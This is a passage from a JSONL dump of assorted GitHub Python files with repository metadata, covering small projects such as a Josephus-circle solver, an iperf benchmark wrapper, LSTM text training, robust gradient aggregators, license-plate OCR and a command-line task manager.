response.urljoin(item['filePath']))\n","repo_name":"vilnitskiy/MRO","sub_path":"mro/spiders/rexnord/rexnord_docs.py","file_name":"rexnord_docs.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72284877862","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport ratlibfunc\nimport torch\n\n#%%\n# %%\n# get_ipython().run_line_magic('matplotlib', 'inline') #\n# % matplotlib\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n#%%\n\ncantidad_estados = 6\ncantidad_acciones = 5\nact = ''  # acción tomada\nRme = 0  # acumulado de rwrd\nDme = 0  # acumulado de tiempo.\n#%%\nV = torch.empty((cantidad_estados, 2))\n# Valor de los estados V(estadp, tiempo)\n# filas corresponden a estados\n# columna 0 tiempo mas reciente\nQ = torch.empty((cantidad_estados, cantidad_acciones))\n#Costo C(a(t),s(t-1),a(t-1))\nCasa = torch.empty((cantidad_acciones, cantidad_estados, cantidad_acciones))\n#Probabilidades para alpha\n#P(a(t)/s(t-1),a(t-1))\nPasa_reg = torch.empty((300, cantidad_acciones, cantidad_estados))\n# Pas_reg: P(a(t)/s(t)) .... no confundir con Psa_reg\nPas_reg = torch.empty((300, cantidad_acciones, cantidad_estados))\n\n#%%\nprint(V)\nprint(Casa)\n\n\n#%%\n\nclass CtxAsoc:\n    \"\"\"\n    Esta corteza es la que de alguna manera aprende a resolver el problema.\n    Vamos a plantear esta corteza por medio de un algorítmo de reinforcemente learning\n    @author: ivan\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Constructor.\n        \"\"\"\n\n        # parametros\n        self.cantidad_estados = 6\n        self.cantidad_acciones = 5\n        self.act = ''  # acción tomada\n        self.Rme = 0  # acumulado de rwrd\n        self.Dme = 0  # acumulado de tiempo.\n\n","repo_name":"ijourdan/habit_rat","sub_path":"ratlib.py","file_name":"ratlib.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73949716580","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nplt.style.use(\"seaborn-v0_8-white\")\nplt.rc('axes', grid=False, facecolor=\"white\")\nplt.rcParams.update({'font.size': 14})\n\ndf_train = pd.read_csv(\"response_train.csv\")\ndf_test = pd.read_csv(\"response_test.csv\")\n\nfig, axes = plt.subplots(1, 2, figsize=(10, 8))\n\ng1 = sns.scatterplot(ax=axes[0], data=df_train, x=\"Real values\", y=\"Predictions\")\naxes[0].set_title(\"Training process\")\n\n# Draw a line of x=y \nx0 = min(df_train['Real values'])\nx1 = max(df_train['Real values'])\n\ny0 = min(df_train['Predictions'])\ny1 = max(df_train['Predictions'])\n\nlims = [min(x0, y0), max(x1, y1)]\ng1.plot(lims, lims, '-r')\n\ng2 = sns.scatterplot(ax=axes[1], data=df_test, x=\"Real values\", y=\"Predictions\")\naxes[1].set_title(\"Testing process\")\n\nx0 = min(df_test['Real values'])\nx1 = max(df_test['Real values'])\n\ny0 = min(df_test['Predictions'])\ny1 = max(df_test['Predictions'])\n\nlims = [min(x0, y0), max(x1, y1)]\ng2.plot(lims, lims, '-r')\n\nplt.savefig(\"plot_real_testing.png\", dpi=300)\n","repo_name":"ProteinEngineering-PESB2/protein-interactions-models","sub_path":"source_code/training_cnn_methods/plot_real_vs_test.py","file_name":"plot_real_vs_test.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21910451582","text":"from cs50 import get_int\n\nnumbers = []\n\nwhile True:\n\n    number = get_int(\"Number: \")\n\n    if not number: \n        break\n    \n    # Avoid duplicates\n    if numbeer not in numbers:\n        # Add to list\n        numbers.append(number)\n\nprint()\nfor number in numbers:\n    print(number)\n","repo_name":"samanbatool08/py-resize","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10234675966","text":"import sys\ninput = sys.stdin.readline\n\nn, s = map(int, input().split())\ncoins = [ int(input()) for _ in range(n) ]\ncoins.reverse()\nans = 0 \nfor coin in coins:\n  ans += s // coin\n  s %= coin\nprint(ans)","repo_name":"ByeonghwiJeong/Algorithm_Study","sub_path":"01_유형별문제모음/03_그리디/01_11047_동전0.py","file_name":"01_11047_동전0.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34264505145","text":"\r\ndef josephus_circle_by_slice(list,step,start_point):\r\n    assert(len(list)>0 and step>0)\r\n    #list = [x for x in range(1,total_number+1)]\r\n    list = list[start_point-1:] + list[:start_point-1]\r\n    step_in_list= step-1\r\n    order_of_select=[]\r\n#如果n或m等于1.直接返回列表的最后一位\r\n    if len(list) == 1 or step == 1:\r\n        order_of_select=list\r\n        return order_of_select\r\n    \r\n    while len(list):\r\n#当key<列表长度,直接切片\r\n        if step < len(list):\r\n            order_of_select.append(list[step_in_list])\r\n            list = list[step_in_list+1:] + list[:step_in_list]\r\n#当key=列表长度，去掉列表的最后一位\r\n        if step == len(list):\r\n            order_of_select.append(list[-1])\r\n            list.pop(-1)\r\n\r\n        if step > len(list):\r\n            if len(list) == 1:\r\n                order_of_select.append(list[0])\r\n                break\r\n#当 key>列表长度时，先取余数，使得m<n\r\n            remainder = step % len(list)\r\n            order_of_select.append(list[remainder-1])\r\n            list = list[remainder:] + list[:remainder-1]\r\n    return order_of_select\r\n\r\n\r\nclass Student(object):\r\n    \r\n    def __init__(self,name,gender,school_number):\r\n        self.name = name\r\n        self.gender = gender\r\n        self.school_number = school_number\r\n    \r\n    def show_student(self):\r\n        print(\"姓名：%s,性别：%s，学号：%s\" %(self.name,self.gender,self.school_number))\r\n\r\ndef generate_student_list():                  #此处待改进\r\n    student_1=Student(\"张三\",\"男\",\"2020221\")\r\n    student_2=Student(\"李四\",\"男\",\"2020222\")\r\n    student_3=Student(\"王五\",\"男\",\"2020223\")\r\n    student_4=Student(\"陈六\",\"男\",\"2020224\")\r\n    student_5=Student(\"李华\",\"男\",\"2020225\")\r\n    student_6=Student(\"芳华\",\"女\",\"2020226\")\r\n    student_list=[]\r\n    student_list.append(student_1)\r\n    student_list.append(student_2)\r\n    student_list.append(student_3)\r\n    student_list.append(student_4)\r\n    student_list.append(student_5)\r\n    student_list.append(student_6)\r\n    return student_list\r\n\r\n# class josephus_circle(list):\r\n#     def __init__(self,step,start_point):\r\n#         self.step=step\r\n#         self.start_point=start_point\r\n    \r\nif __name__ == '__main__':\r\n\r\n    student_list=generate_student_list()\r\n\r\n    step,start_point=3,1\r\n    order_of_select=josephus_circle_by_slice(student_list,step,start_point)\r\n    #print(\"选中的顺序为：\",order_of_select)\r\n    print(\"选中的学号顺序依次为：\")\r\n    for student in order_of_select:\r\n        print(student.school_number)","repo_name":"zcx-9527/zhangchunxun-python","sub_path":"josephus_circle.py","file_name":"josephus_circle.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4852198559","text":"import aoc_utils \nimport itertools\nimport functools\nimport operator\nimport networkx as nx\nimport math\nfrom collections import *\nfrom copy import deepcopy\nimport random\nimport re\nfrom string import ascii_lowercase as alph\nlines = aoc_utils.readLines()\ninstr = lines[0]\nmoves = {}\nfor line in aoc_utils.removeEmpties(lines[1:]):\n    start, possible = line.split(\" = \")\n    left, right = possible.split(\", \")\n    left = left[1:]\n    right = right[:-1]\n    moves[start] = (left,right)\nstarts = [x for x in moves.keys() if x.endswith(\"A\")]\ncycles = []\nfor start in starts:\n    pos = start\n    prev = defaultdict(list)\n    num = 0\n    while True:\n        move = instr[num%len(instr)]\n        if move == \"L\":\n            pos = moves[pos][0]\n        else:\n            pos = moves[pos][1]\n        if pos.endswith(\"Z\"):\n            cycles.append(num+1)\n            break\n        num += 1\nprint(math.lcm(*cycles))\n","repo_name":"sapieninja/AdventOfCode","sub_path":"Python/Python23/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71987504742","text":"\"\"\"Iperf benchmark\n    https://github.com/esnet/iperf\n\"\"\"\nfrom __future__ import division\n\nimport json\n\nfrom cached_property import cached_property\n\nfrom hpcbench.api import Benchmark, Metrics, MetricsExtractor\nfrom hpcbench.toolbox.process import find_executable, physical_cpus\n\n\nclass IPERFExtractor(MetricsExtractor):\n    \"\"\"Parse JSON file written by stream to extract interested metrics\n    \"\"\"\n\n    @property\n    def metrics(self):\n        return dict(\n            bandwidth_receiver=Metrics.MegaBytesPerSecond,\n            bandwidth_sender=Metrics.MegaBytesPerSecond,\n            max_bandwidth=Metrics.MegaBytesPerSecond,\n            retransmits=Metrics.Cardinal,\n        )\n\n    def extract_metrics(self, metas):\n        bits_in_mb = float(8 * 1024 * 1024)\n        with open(self.stdout) as istr:\n            data = json.load(istr)\n        if not data['intervals']:\n            raise Exception('Missing \"intervals\" in JSON: ')\n        max_bits_per_second = max(\n            [interval['sum']['bits_per_second'] for interval in data['intervals']]\n        )\n        sent = data['end']['sum_sent']\n        received = data['end']['sum_received']\n        return dict(\n            max_bandwidth=max_bits_per_second / bits_in_mb,\n            bandwidth_receiver=received['bits_per_second'] / bits_in_mb,\n            bandwidth_sender=sent['bits_per_second'] / bits_in_mb,\n            retransmits=sent['retransmits'],\n        )\n\n\nclass Iperf(Benchmark):\n    \"\"\"Provides TCP benchmark.\n    \"\"\"\n\n    name = 'iperf'\n\n    DEFAULT_DEVICE = 'network'\n    DEFAULT_EXECUTABLE = 'iperf3'\n    DEFAULT_SERVER = \"localhost\"\n\n    def __init__(self):\n        # locate `stream_c` executable\n        super(Iperf, self).__init__(\n            attributes=dict(\n                executable=Iperf.DEFAULT_EXECUTABLE,\n                server=Iperf.DEFAULT_SERVER,\n                options=[\"-P\", str(physical_cpus())],\n                mpirun=[],\n            )\n        )\n\n    @cached_property\n    def executable(self):\n        \"\"\"Get absolute path to iperf executable\n        \"\"\"\n        return self.attributes['executable']\n\n    @property\n    def server(self):\n        \"\"\"Specifies the Iperf server to connect to\"\"\"\n        return self.attributes['server']\n\n    @property\n    def mpirun(self):\n        \"\"\"List of mpirun options (prepended to the command)\n        \"mpirun\" is added if attribute is not empty and\n        do not start by mpirun\n        \"\"\"\n        return [str(e) for e in self.attributes['mpirun']]\n\n    @property\n    def options(self):\n        \"\"\"List of additional arguments appended\n        to the command line\"\"\"\n        return [str(e) for e in self.attributes['options']]\n\n    def execution_matrix(self, context):\n        del context  # unused\n        yield dict(\n            category=Iperf.DEFAULT_DEVICE,\n            command=self.mpirun\n            + [\n                find_executable(self.executable, required=False),\n                '-c',\n                self.server,\n                '-J',\n            ]\n            + self.options,\n        )\n\n    @cached_property\n    def metrics_extractors(self):\n        return IPERFExtractor()\n","repo_name":"BlueBrain/hpcbench","sub_path":"hpcbench/benchmark/iperf.py","file_name":"iperf.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"40699689921","text":"import random\nimport numpy as np\nimport tensorflow as tf\n\nfrom shared_functions import *\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Activation, LSTM\nfrom tensorflow.keras.optimizers.legacy import RMSprop\n\n# Constants defining the model name, number of epochs and learning rate.\nMODEL_NAME = 'MODEL_NAME'\nEPOCHS = 32\nLEARNING_RATE = 0.01\n\ntry:\n    # Validate the defined constants. Ensures that the model name is a string,\n    # the number of epochs is an integer, and the learning rate is a number (int or float).\n    assert isinstance(MODEL_NAME, str), \"Model name must be a string.\"\n    assert isinstance(EPOCHS, int), \"Epochs must be an integer.\"\n    assert isinstance(LEARNING_RATE, (int, float)), \"Learning rate must be a number.\"\n    assert isinstance(corpus, str), \"Corpus must be a string.\"\n\n    # Create a list of text_sentences\n    text_sentences = []\n\n    # Create a list of next characters\n    next_chars = []\n\n    # Loop through the corpus\n    # For each step, a sentence (of length LEN_SEQ)\n    # and the next character following the sentence are appended to their respective lists.\n    for j in range(0, len(corpus) - LEN_SEQ, STEP_SIZE):\n        if j % 10000 == 0:\n            print(f'Processing {j}/{len(corpus)}')\n        text_sentences.append(corpus[j: LEN_SEQ+j])\n        next_chars.append(corpus[LEN_SEQ+j])\n\n    # One hot encode characters\n    # train_x's shape corresponds to [number of sentences, length of sentences, number of unique characters in the text]\n    # train_y's shape corresponds to [number of sentences, number of unique characters in the text]\n    train_x = np.zeros(\n        ( len(text_sentences),\n        LEN_SEQ, len(text_chars) ), dtype=bool )\n    train_y = np.zeros(\n        ( len(text_sentences),\n        len(text_chars) ), dtype=bool)\n\n    # Loop through the text_sentences\n    # For each sentence, it goes through every character and marks it as 1 in the train_x array.\n    # Then, the next character (in train_y array) for that sentence is also marked as 1.\n    for x, s in enumerate(text_sentences):\n        if x % 10000 == 0:\n            print(f'Processing {x}/{len(text_sentences)}')\n        # Loop through the characters in the sentence\n        for y, c in enumerate(s):\n            # Set the current character to 1\n            train_x[x, y, chars_to_indices[c]] = 1\n        # Set the next character to 1\n        train_y[x, chars_to_indices[next_chars[x]]] = 1\n\n    # Create the model\n    model = Sequential()\n\n    # Add an LSTM layer with 128 units\n    model.add(LSTM(128, input_shape=(LEN_SEQ, len(text_chars))))\n\n    # Add a dense layer with the same number of units as characters\n    model.add(Dense(len(text_chars)))\n\n    # Add a softmax activation layer\n    model.add(Activation('softmax'))\n\n    # Compile the model\n    model.compile(optimizer=RMSprop(learning_rate=LEARNING_RATE),\n        loss='categorical_crossentropy')\n\n    # Train the model\n    model.fit(train_x, train_y, epochs=EPOCHS, verbose=1)\n\n    # Save the model\n    model.save('models/'+MODEL_NAME+'.model')\nexcept Exception as e:\n    print(e)","repo_name":"BenDonovan2002/BS3203","sub_path":"LSTM/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14227841197","text":"class Solution:\n    def letterCombinations(self, digits):\n        \"\"\"\n        :type digits: str\n        :rtype: List[str]\n        \"\"\"\n        mapper = [\"\", \"\", \"abc\", \"def\", \"ghi\", \"jkl\", \"mno\", \"pqrs\", \"tuv\", \"wxyz\"]\n        \n        if not digits:\n            return []\n        \n        result = [\"\"]\n        for digit in reversed(digits): # 3 2\n            letters = mapper[int(digit)] #[d,e,f] [a b c]\n            m = len(letters) #3 3\n            n = len(result) #1 3\n            result += [result[i%n] for i in range(n, m*n)] # [\"\", \"\", \"\"] [d, e, f, d, e, f, d, e, f]\n\n            for i in range(m*n):\n                result[i] = letters[int(i/n)] + result[i] # [d, e, f] [ad, ae, af, bd, be, bf, cd, ce, cf]\n            \n        return result\n    \nclass Solution2(object):\n    def letterCombinations(self, digits):\n        \"\"\"\n        :type digits: str\n        :rtype: List[str]\n        \"\"\"\n        mapper = [\"\", \"\", \"abc\", \"def\", \"ghi\", \"jkl\", \"mno\", \"pqrs\", \"tuv\", \"wxyz\"]\n\n        if not digits:\n            return []\n\n        result = []\n        self.dfs(digits, mapper, result, 0, \"\")\n        return result\n\n    def dfs(self, digits, mapper, result, start, solution):\n        if start == len(digits):\n            result.append(solution)\n        else:\n            for c in mapper[int(digits[start])]:\n                solution += c\n                self.dfs(digits, mapper, result, start+1, solution)\n                solution = solution[:-1]\n\n    \n","repo_name":"JinnieJJ/leetcode","sub_path":"17-Letter Combinations of a Phone Number.py","file_name":"17-Letter Combinations of a Phone Number.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9588702137","text":"import numpy as np\n\n# IID vs Non-IID\nfrom data_funcs.sampler import (\n    DistributedSampler,\n)\n\n# Aggregators\nfrom aggregator import *\n\n\ndef _get_aggregator(args):\n    if args.agg == \"avg\":\n        return Mean()\n\n    if args.agg == \"cm\":\n        return CM()\n\n    if args.agg == \"cp\":\n        if args.clip_scaling is None:\n            tau = args.clip_tau\n        elif args.clip_scaling == \"linear\":\n            tau = args.clip_tau / (1 - args.momentum)\n        elif args.clip_scaling == \"sqrt\":\n            tau = args.clip_tau / np.sqrt(1 - args.momentum)\n        else:\n            raise NotImplementedError(args.clip_scaling)\n        return Clipping(tau=tau, n_iter=3)\n\n    if args.agg == \"rfa\":\n        return RFA(T=8)\n\n    if args.agg == \"tm\":\n        return TM(b=args.f)\n\n    if args.agg == \"krum\":\n        T = int(np.ceil(args.n / args.bucketing)) if args.bucketing > 0 else args.n\n        return Krum(n=T, f=args.f, m=1)\n\n    raise NotImplementedError(args.agg)\n\n\ndef bucketing_wrapper(args, aggregator, s):\n    \"\"\"\n    Key functionality.\n    \"\"\"\n    print(\"Using bucketing wrapper.\")\n\n    def aggr(inputs):\n        indices = list(range(len(inputs)))\n        np.random.shuffle(indices)\n\n        T = int(np.ceil(args.n / s))\n\n        reshuffled_inputs = []\n        for t in range(T):\n            indices_slice = indices[t * s : (t + 1) * s]\n            g_bar = sum(inputs[i] for i in indices_slice) / len(indices_slice)\n            reshuffled_inputs.append(g_bar)\n        return aggregator(reshuffled_inputs)\n\n    return aggr\n\n\ndef get_aggregator(args):\n    aggr = _get_aggregator(args)\n    if args.bucketing == 0:\n        return aggr\n\n    return bucketing_wrapper(args, aggr, args.bucketing)\n\n\ndef get_sampler_callback(args, rank):\n    \"\"\"\n    Get sampler based on the rank of a worker.\n    The first `n-f` workers are good, and the rest are Byzantine\n    \"\"\"\n    n_good = args.n - args.f\n    if rank >= n_good:\n        # Byzantine workers\n        return lambda x: DistributedSampler(\n            num_replicas=n_good,\n            rank=rank % n_good,\n            shuffle=True,\n            dataset=x,\n            full_dataset=args.full_dataset,\n            shuffle_iter=True,\n        )\n\n\n    return lambda x: DistributedSampler(\n        num_replicas=n_good,\n        rank=rank,\n        shuffle=True,\n        dataset=x,\n        full_dataset=args.full_dataset,\n        shuffle_iter=True,\n    )\n\n\ndef get_test_sampler_callback(args):\n    # This alpha argument is not important as there is\n    # only 1 replica\n    # return lambda x: NONIIDLTSampler(\n    #     alpha=True,\n    #     beta=0.5 if args.LT else 1.0,\n    #     num_replicas=1,\n    #     rank=0,\n    #     shuffle=False,\n    #     dataset=x,\n    # )\n\n    return lambda x: DistributedSampler(\n        num_replicas=1,\n        rank=0,\n        shuffle=False,\n        dataset=x,\n        shuffle_iter=False,\n    )\n","repo_name":"SamuelHorvath/VR_Byzantine","sub_path":"code/utils/byz_funcs.py","file_name":"byz_funcs.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"11821507048","text":"import cv2\nimport pytesseract\nimport logging\nimport sys\nimport os\nimport threading\nfrom flask import Flask,request,make_response\nfrom flask_api import status\nfrom werkzeug.utils import secure_filename\nimport requests\nfrom datetime import datetime\nimport time\n\nclass Recognition:\n    \n    def __init__(self, static_files_detection, logging_path, verbosity, host, port, mutex) -> None:\n        self.__static_files_detection = static_files_detection\n        self.__verbosity=verbosity\n        self.__flaskServer = None\n        self.__detection= None\n        self.__mutex= mutex\n        self.__setup_logging(verbosity, logging_path)\n\n    \n    def __setup_logging(self, verbosity, path):\n        format = \"%(asctime)s %(filename)s:%(lineno)d %(levelname)s - %(message)s\" #formato del messaggio\n        filename = path\n        datefmt = \"%d/%m/%Y %H:%M:%S\"\n        level = logging.INFO\n        if (self.__verbosity):\n            level = logging.DEBUG\n        \n        ''' definisco un oggetto console handler tramite la classe logging.Streamhandler\n         setto il livello del log, ed utilizzo metodo setformatter per definire il formato dei messaggi da stampare\n          nel file di log   '''      \n\n        logging.basicConfig(filename=filename, filemode='a', format=format, level=level, datefmt=datefmt)\n    \n    def setup(self):\n        if not os.path.exists(self.__static_files_detection):\n            os.makedirs(self.__static_files_detection)\n        \n        \n        if not os.path.exists(\"/opt/app/static-files/detected.txt\"):\n            current_directory = os.getcwd()\n            directory = \"/opt/app/static-files\"\n            os.chdir(directory)\n            f = open(\"detected.txt\", \"w\")\n            f.close()\n            os.chdir(current_directory)\n        \n        self.__detection = threading.Thread(\n            target = self.__detection_job, \n            args = ()\n        )\n\n\n    def  __detection_job(self):\n        while True:\n                if not self.__detected_folder_is_empty() and self.__oldest():\n                    oldest_frame_path = self.__oldest()\n                    frame =  self.__get_frame(oldest_frame_path)\n                    frame_name = os.path.basename(oldest_frame_path)\n                    text = pytesseract.image_to_string(frame, lang=\"eng\")\n                    text = text.replace(\" \", \"\")\n                    text = text.replace(\"\\n\", \"\")\n                    if len(text)>1:\n                        current_directory=os.getcwd()\n                        os.chdir(\"/opt/app/static-files\")\n                        file = open(\"detected.txt\",\"a\")\n                        file.write(text+\"-\"+frame_name+\"-\"+datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")+\"\\n \\n \")\n                        file.close()\n                        os.chdir(current_directory)\n                        os.chdir(self.__static_files_detection)\n                        os.rename(frame_name,\"detected_\"+frame_name)\n                        os.chdir(current_directory)\n                    else:\n                        current_directory=os.getcwd()\n                        os.chdir(self.__static_files_detection)\n                        os.rename(frame_name,\"not_detected_\"+frame_name)\n                        os.chdir(current_directory)\n                time.sleep(0.4)\n    \n    def __detected_folder_is_empty(self):\n        path = self.__static_files_detection\n        return True if not len(os.listdir(path)) else False\n    \n    def __oldest(self):\n        path = self.__static_files_detection\n        files = os.listdir(path)\n        paths = [os.path.join(path, basename) for basename in files if \"crop_\" in basename and \"detected_\" not in basename]\n        if paths:\n            return min(paths, key=os.path.getctime)\n        else:\n            return 0\n\n    def __get_frame(self, filename):\n        \"\"\" Read image from file using opencv.\n\n            Args:\n                filename(str): relative or absolute path of the image\n\n            Returns:\n                (numpy.ndarray) frame read from file \n        \"\"\"\n        return cv2.imread(filename)\n\n    def start(self):\n        self.__detection.start()\n","repo_name":"DomenicoVillari3/license-plate-detection-microservice","sub_path":"Recognition/app/logic/recognition.py","file_name":"recognition.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"32176352292","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport random,string\n\nlastName = ['黄', '冯', '苏', '沈', '丁', '魏', '薛', '方', '桂', '唐', '汤', '路', '卢', '吕', '蔡', '曹',\n                    '赵', '钱', '孙', '李', '周', '吴', '郑', '王', '张', '刘', '陈', '胡', '郭', '和', '何', '谢',\n                    '于', '宋', '马', '彭', '韩']\n\nclass RandomChar():\n    \"\"\"用于随机生成汉字\"\"\"\n\n    @staticmethod\n    def Unicode():\n        val = random.randint(0x4E00, 0x9FBF)\n        return unichr(val).encode('utf8')\n\n    @staticmethod\n    def GB2312():\n        head = random.randint(0xB0, 0xCF)\n        body = random.randint(0xA, 0xF)\n        tail = random.randint(0, 0xF)\n        val = (head << 8) | (body << 4) | tail\n        str = \"%x\" % val\n        return str.decode('hex').decode('gb2312').encode('utf8')\n\n    @staticmethod\n    def RandomName():\n        try:\n            name = random.choice(lastName)\n            for i in range(random.choice([1,2])):\n                name += RandomChar().GB2312()\n            return name\n        except:\n            return RandomChar().RandomName()\n\n    @staticmethod\n    def RandomEnName():\n        try:\n            name = random.choice(lastName)\n            for i in range(random.choice([1,2])):\n                name += RandomChar().GB2312()\n            return name\n        except:\n            return RandomChar().RandomName()\n\n\n    @staticmethod\n    def RandomAddress(En=False):\n        if not En:\n            district = ['浦东新区','杨浦区','黄浦区','徐汇区','长宁区','静安区','普陀区','闵行区']\n            return \"上海\" + random.choice(district)\n        else:\n            district = ['Pudong','Yangpu','Huangpu','Xuhui','Changning','Jingan','Putuo','Minhang']\n            return \"Shanghai\" + random.choice(district)\n\n\n    @staticmethod\n    def RandomTime():\n        year = '2016'\n\n        month = random.choice(range(1, 13))\n\n        if month in [1, 3, 5, 7, 8, 10, 12]:\n            day = random.choice(range(1, 32))\n        elif month == 2:\n            day = random.choice(range(1, 30))\n        else:\n            day = random.choice(range(1, 31))\n        hour = random.choice(range(0, 24))\n        min = random.choice(range(0, 60))\n        sec = random.choice(range(0, 60))\n\n        time = str(year) + '-' + str(month).zfill(2) + '-' + str(day).zfill(2) + ' ' \\\n               + str(hour).zfill(2) + ':' + str(min).zfill(2) +':'+ str(sec).zfill(2)\n        return time\n\n    @staticmethod\n    def RandomBXB(bxbRange, tag, unit=\"%\"):\n        minR, maxR = map(float, bxbRange.replace(unit.strip(), \"\").replace(\"*\",\"\").strip().split(\"-\"))\n        if tag == 0:\n            return random.choice(range(int(minR * 100), int(maxR * 100) + 1)) / 100.\n        elif tag < 0:\n            return random.choice(range(1, int(minR * 100))) / 100.\n        else:\n            return random.choice(range(int(maxR * 100) + 1, int(2 * maxR * 100))) / 100.\n        # try:\n        #     minR, maxR = map(float, bxbRange.replace(\";\",\"\").replace(\"。\",\"\").replace(unit.strip(),\"\").replace(\"*\",\"\").strip().split(\"-\"))\n        #     if tag == 0:\n        #         return random.choice(range(int(minR*100),int(maxR*100)+1))/100.\n        #     elif tag < 0:\n        #         return random.choice(range(1,int(minR*100)))/100.\n        #     else:\n        #         return random.choice(range(int(maxR*100) + 1,int(2*maxR*100)))/100.\n        # except:\n        #\n        #     tmp = bxbRange.replace(\";\",\"\").replace(unit.strip(),\"\").replace(\"*\",\"\")\n        #     print(tmp)\n        #     print (bxbRange,tag,unit)\n\nif __name__== '__main__':\n    rc = RandomChar()\n    salt = ''.join(random.sample(string.digits, 8))\n\n    #print rc.RandomBXB('4-10*10^9/L',1)","repo_name":"eyeboyplus/databox-log-analysis","sub_path":"core/RandomChar.py","file_name":"RandomChar.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24394109778","text":"# *******         TASK 26             *******\r\n# *******    Compulsory Task 1        *******\r\n# *******       task_manager.py       *******\r\n# used help from https://www.programiz.com/python-programming/datetime/strftime to understand how to format the date\r\n# into string with strftime() function.\r\n# -------------------------------------------------  xxx -------------------------------------------------------------\r\n\r\n# This program is a modification of task_manager.py of capstone 2. It provides extra options to 'admin' to generate\r\n# reports, see statistics about tasks and users. It also restricts normal user other than admin to register new user\r\n# and checks for username that already exist to prevent duplicate records.\r\n# Here we have encapsulated the codes into functions to increase readability and for reusing it in future projects.\r\n\r\nfrom datetime import *\r\nimport time\r\nimport os\r\n\r\n\r\ndef reg_user():\r\n\r\n    user_file = open('user.txt', 'a+', encoding='utf-8')\r\n\r\n    while True:\r\n        new_username = input(\"Create Username : \")\r\n        check_user = False\r\n        user_file.seek(0)\r\n        for each_line in user_file:\r\n            line_list = each_line.split(\", \")\r\n\r\n            if line_list[0] == new_username:\r\n                print(\"User name Exist. Try again !\")\r\n                check_user = True\r\n                break\r\n\r\n        if check_user:\r\n            continue\r\n\r\n        new_password = input(\"Create Password : \")\r\n        password_confirmation = input(\"Confirm Password : \")\r\n\r\n        if new_password == password_confirmation:\r\n            user_file.write(\"\\n\" + new_username + \", \" + new_password)\r\n            user_file.close()\r\n            print(\"Your User have been registered.\")\r\n            time.sleep(1)\r\n            break\r\n        else:\r\n            print(\"Your passwords don't match. Try again\")\r\n            time.sleep(1)\r\n            continue\r\n\r\n\r\ndef add_task():\r\n    while True:\r\n        print(\"Assigning task :\\n \")\r\n        username = input(\"Username : \")\r\n        task_title = input(\"Task Title : \")\r\n        task_desc = input(\"Task Description : \")\r\n        task_due = input(\"Task Due Date. Eg 02 jan 2021: \")\r\n        current_date = date.today()\r\n\r\n        task_file = open('tasks.txt', 'a+', encoding='utf-8')\r\n        task_file.write(f'\\n{username}, {task_title}, {task_desc}, {current_date.strftime(\"%d %b %Y\")}, {task_due}, No')\r\n        print(f'Your Task has been assign to the user {username}.')\r\n        time.sleep(1)\r\n        reply = input(\"Do you want to continue assigning task. press n to exit or any key to continue: \").lower()\r\n        if reply == 'n':\r\n            task_file.close()\r\n            break\r\n\r\n\r\ndef view_all():\r\n    task_no = 0\r\n    with open('tasks.txt', 'r', encoding='utf-8') as task_file:\r\n        for each_line in task_file:\r\n\r\n            if each_line.strip() == '':  # This check if there is any empty line in tasks file\r\n                continue\r\n\r\n            task_list = each_line.strip().split(\", \")\r\n            task_no += 1\r\n            print(f'''\r\n            {125 * '-'}\r\n            Task No:            {task_no}\r\n            Task:               {task_list[1]}\r\n            Assigned to:        {task_list[0]}\r\n            Date Assigned:      {task_list[3]}\r\n            Due Date:           {task_list[4]}\r\n            Task Complete:      {task_list[5]}\r\n            Task Description:\r\n            {task_list[2]}\r\n            {125 * '-'} \r\n            ''')\r\n\r\n        time.sleep(1)\r\n\r\n\r\ndef edit_task(task_no):\r\n\r\n    content = \"\"\r\n    # content1 = \"\"\r\n    task_count = 0\r\n    overwrite = True\r\n\r\n    edit_choice = input(f'''\r\n    Please select one of the options:\r\n    m - Mark the task {task_no} as complete.\r\n    e - Edit the task {task_no}.\r\n    ''').lower()\r\n\r\n    if edit_choice == 'm':\r\n        task_file = open('tasks.txt', 'r', encoding='utf-8')\r\n        for each_line in task_file:\r\n            if each_line.strip() == '':\r\n                continue\r\n            task_count += 1\r\n            task = each_line.strip().split(', ')\r\n            if task_no == task_count:\r\n                task[5] = 'Yes'\r\n                content += \", \".join(task) + \"\\n\"\r\n            else:\r\n                content += each_line\r\n        task_file.close()\r\n\r\n        task_file = open('tasks.txt', 'w', 